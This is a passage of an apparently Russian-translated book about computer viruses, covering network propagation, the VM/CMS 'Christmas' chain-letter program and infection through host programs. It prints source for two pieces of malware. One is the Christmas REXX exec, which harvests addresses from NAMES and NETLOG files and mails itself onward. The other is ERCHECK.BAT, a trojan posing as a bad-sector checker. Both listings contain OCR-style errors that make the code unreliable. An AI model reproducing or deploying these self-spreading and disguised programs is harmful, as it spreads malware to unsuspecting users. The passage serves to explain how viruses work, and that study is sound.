Существенное различие между ms-dos и СР/М состоит в том,
что СР/М, начиная с версии 3.0, обеспечивает возможность защи-
ты файлов или меток от чтения или перезаписи с помощью паро-
лей. Конечно, такая защита не слишком надежна, поскольку речь
идет лишь о защите программного обеспечения, но по крайне мере
создатели компъютерных вирусов сталкиваются здесь с большими
проблемами, чем при работе с ms-dos, так как в системе СР/М
имеется значительно меньше высокоразвитых утилит.
11.3 Сети
----
В сетях персональных ЭВМ имеются многочисленные различия,
касающиеся сохранности данных. Так, например, для нескольких
дешевых сетей жесткие диски станции можно запрашивать точно
так же, как если бы речь шла о винчестере соответствующего
компъютера. Это означает, что вирусы могут распространяться по
всей сети, как если бы это была отдельная ПЭВМ. Другими слова-
ми, "выпущенный" на любой станции сети вирус в кратчайшее вре-
мя может достичь всех других станций и парализовать всю сеть.
Приведенная ниже графическая схема поясняет процесс распрост-
ранения вируса по сети. Представленная сеть состоит их специа-
лизированной станции и четырех подключенных компъютеров.
Специализированная
станция
Узлы сети: 1 2 3 4
На ПЭВМ, являющейся узлом 1 сети, запускается программа-вирус.
Этот вирус копируется на дисковод с наивысшим приоритетом (со
старшим номером дисковода). Для сети таким дисководом является
дисковод специализированной станции.
- 234 -
Специализированная
станция
Узлы сети: v1 v2 v3 v4
Затем исходя из спецпроцессора, вирус может распространить-
ся по всем подключенным станциям.
Специализированная
станция
Узлы сети: V1 V2 V3 V4
Правда, не все сети построены так примитивно. Профессиональные
системы обеспечивают использование различных привилегий поль-
зователей подобно многопользовательстким ЭВМ. Так определенные
области данных и определенные программы могут быть защищены от
доспута пользователей с более низким приоритетом. Право на
доступ к таким областям имеет так называемый "старший пользо-
ватель", т.е. пользователь с наивысшим приоритетом. Не имея
статуса "старшего пользователя",вряд ли возможно выйти за
пределы отдельной области так, чтобы это осталось незамеченным.
Но если пользователь получил статус "старшего", он совершенно
легально движется в системе и никто этого не замечает. Пос-
кольку получение статуса "старшего пользователя" обеспечивает-
ся лишь программными средствами, естественно, это можно пре-
дусмотреть и в программе-вирусе. правда, при этом нужно точно
знать соответствующую сеть.
Так называемый "рождественский вирус", распечатка которо-
го приводится здесь, предназначен для использования ЭВМ vm/cms
и потому может распространяться чрезвычайно быстро.
В принципе, здесь речь идет не о настоящей программе-ви-
русе, а скорее о неком виде передаваемого по цепочке письма.
Программа считывает из файлов names и netlog адреса партнеров
по коммуникации и в соответствии с форматом передачи данных
пересылает себя этому адресу. Там происходит то же самое, т.е.
программа вновь возвращается к своему отправителю. Таким обра-
зом, в файлах получателей, как правило, содержится и адрес
отправителя.
Тот, кто получает такую программу, вначале с помощью тек-
стового редактора смотрит, что же он получил.
- 235 -
Записанный в начале программы текст не нуждается по пояс-
нениях:
/**********************/
/* LET THIS EXEC */
/* */
/* RUN */
/* AND */
/* */
/* ENJOY */
/* */
/* YOURSELFI */
/**********************/
Просмотр этого текста не отнимет у читателя слишком много
времени.
'VMFCLEAR'
SAY' * '
SAY' * '
SAY' *** '
SAY' ***** '
SAY' ******* '
SAY' ********* '
SAY' ************* A'
SAY' ******* '
SAY' *********** VERY'
SAY' *************** '
SAY' ******************* HAPPY'
SAY' *********** '
SAY' *************** CHRISTMAS'
SAY' ******************* '
SAY' ********************** AND MY'
SAY' ************* '
SAY' ****************** BERST WISHES'
SAY' ********************** '
SAY' ************************** FOR THE NEXT
SAY' ****** '
SAY' ****** YEAR'
SAY' ****** '
А кто теперь удержится, чтобы не запустить программу, да-
- 236 -
бы поддержать шутку?
/* browsing this file is no fun at all
just type CHRISTMAS from cms */
dropbuf
makebuf
"q t (stack"
Здесь определяется дата:
pull d1 d2 d3 d4 d5 d6 dat
pull zeile
jeah = substr(dat, 7, 2)
tack = substr (dat, 4,2)
mohn = substr (dat, 1, 2)
if jeah <= 88 then do
if mehn < 2 ] mohn = 12 then do
DROPBUF
MAKERUF
"IDENTIFY (FIFO"
PULL WER VON WO IST REST
DROPBUF
MEKEBUF
Определить имена партнеров по коммуникации:
"EXECIO * DISKR " WER " NAMES A (FIFO"
DO WHILE QUEUED() > 0
PULL NICK NAME ORT
NAM = INDEX (NAME, '.')+1
IF NAM > 0 THEN DO
NAME = SUBSTR (NAME, NAM)
END
NAM = INDEX (ORT, '.')+1
IF NAM> 0 THEN DO
ORT = SUBSTR (ORT, NAM)
END
IF LENGTH (NAME) O THEN DO
IF LENGTH (ORT) = 0 THEN DO
ORT = WO
- 237 -
END
IF name = "RELAY" THEN DO
Переслать самому себе:
"SF CHRISTMAS EXEC A" NAME" AT" ORT" (ack"
end
END
END
DROPBUF
MAKEBUF
ANZ = 1
Еще раз отыскать имена:
"EXECTO = DISKR " WER " NETLOG A (FIFO
DO WHILE QUEUED () > 0
PULL KIND FN FM ACT FROM ID AT NODE REST
IF ACT = 'SENT' THEN DO
IF ANZ = 1 THEN DO
OK.ANZ = ID
END
IF ANZ > 1 THEN DO
OK.ANZ = ID
NIXIS = O
DO 1 = 1 TO ANZ-1
IF OK.1 = ID THEN DO
NIXIS = 1
END
END
END
ANZ = ANZ + 1
IF NIXIS = 0 THEN DO
Еще раз переслать:
"SF CHRISTMAS EXEC A "ID" AT" NODE" (ack"
END
END
END
DROPBUF
END
end
- 238 -
end
12. _Пути распространения вирусов
Эта глава должна дать ответ на наиболее часто задаваемый
вопрос: "Каким образом вообще внедряются вирусы в ЭВМ?"
Но возможности проникновения вирусов в ПЭВМ настолько
многочисленны, что здесь можно показать лишь очень небольшую
часть их. Но вначале следует обратить внимание на то общее,
что есть в путях распространения вирусов. Некоторые пользова-
тели не совсем необоснованно бояться чужих дискет, хотя дейст-
вительная опасность от инфицированной дискеты исходит лишь
тогда, когда эта дискета запущена.
Просто чтение дискеты никак не может привести к распростране-
нию вируса. Поэтому можно просматривать чужие дискеты, пользу-
ясь функциями операционной системы или различными утилитами,
совершенно безбоязненно. Также маловероятно, что (а это важно
при использовании "почтового ящика") вирус получит распростра-
нение при дистанционной передаче данных, если при этом соблю-
даются определенные условия.
Ниже отдельные аспекты проблемы распространения вирусов
будут освещены несколько подробнее.
12.1 Вирусы в программе/носителе
--------------------------------
Пораженную вирусом программу-носитель следует рассматри-
вать как "классический" пример распространения вирусов. Говоря
более точно, программа-носитель есть не что иное как "троянс-
кий конь", в котором в качестве "злого" сюрприза скрыт вирус.
Этот внедрившийся вирус никак не может быть обнаружен програм-
мой-носителем, поскольку методы внедрения вируса в программу
чрезвычайно многочисленны. Только тот, кто хорошо разбирается
в системе и обслуживает многочисленные стандартные программы,
такие как отладчик, программу распечатки содержимого памяти и
пр., имеет шанс обнаружить программу/носитель. Это не удиви-
тельно, если рассмотреть несколько различных возможностей
внедрения вируса.
- 239 -
Относительно легко обнаружить написанные на уровне команд
ЭВМ вирусы (таким вирусом является, например, описанный в раз-
деле 10.4 вирус), поскольку оформлённую в виде командного фай-
ла программу очень легко вывести на экран с помощью команды
ТУРЕ. Но и на этом уровне отличить программу от вируса удается
не сразу, если до этого не имел с ними дела. Разве кто запо-
дозрит в нескольких строках пакетного задания ERCHECK.BAT
программу-вирус?
Name: ERCHECK. BAT
echo=off
echo Diesses Programm prueft das aktuelle Laufwerk
echo (Platte/diskette) auf defekte Sektoren.
echo Dieser Test kann 1-2 Minuten in Anspruch nehmen.
echo Wahrend dieser Zeit kann und darf nicht in das
echo System eingriffen werden.
pause
ctty nut
patf c:\msdos
dir *.com/w>inh
edlin inh<1
debug inh<2
edlim name.bat<3
ccty con
if exist name.bat echo Keine Fehler gefunden. Test beendet.
if exist name.bat echo Wait a minute, then reboot!
cctty nut
name
(echo=off
echo Эта программа проверяет актуальный дисковод
echo (жесткий диск/дискету) на дефектные сектора.
echo Этот тест может занять 1-2 минуты.
echo В течение этого времени система может принимать,
echo а может не принимать запросы.
pause
ecty nul
path c:\msdos
- 240 -
dir *.com/w>inh
edlin inh<1
debug inh<2
edlin name.bat<3
ccty con
if exist name.bat echo Ошибок не найдено. Тест завершен.
if exist name.bat echo Подождите минуту, пока идет пере-
загрузка!
Значительно более сложно распознаются вирусы, написанные на
языках высокого уровня, причем здесь следует исходить из ви-
русов в форме исходных кодов. Скомпилированные программы-ви-
русы дают уже вирус в форме машинных кодов. Если программа
должна выглядеть "внушающей доверие", программист вместе с
ней поставляет и исходный код. В результате каждый, получив-
ший программу. может проверить ее, дабы убедиться в ее "безв-
редности". Номало кто сумеет в написанной на Паскале програм-
ме длиной в 3000 строк отыскать 100 строк, реализующих вирус.
Итак, поставляемые вместе с программой исходные коды ничто
иное, как средство для отвода глаз? Действительно, можно
столкнуться с таким случаем, особенно тогда, когда нельзя
точно установить источник, откуда получена программа в исход-
ных кодах. Итак, и те программы, исходные коды которых Вы
имеете, требуют проверки на наличие вируса.
Составить программу-вирус на уровне машинного языка поч-
ти невозможно. О том, с какими проблемами можно встретиться в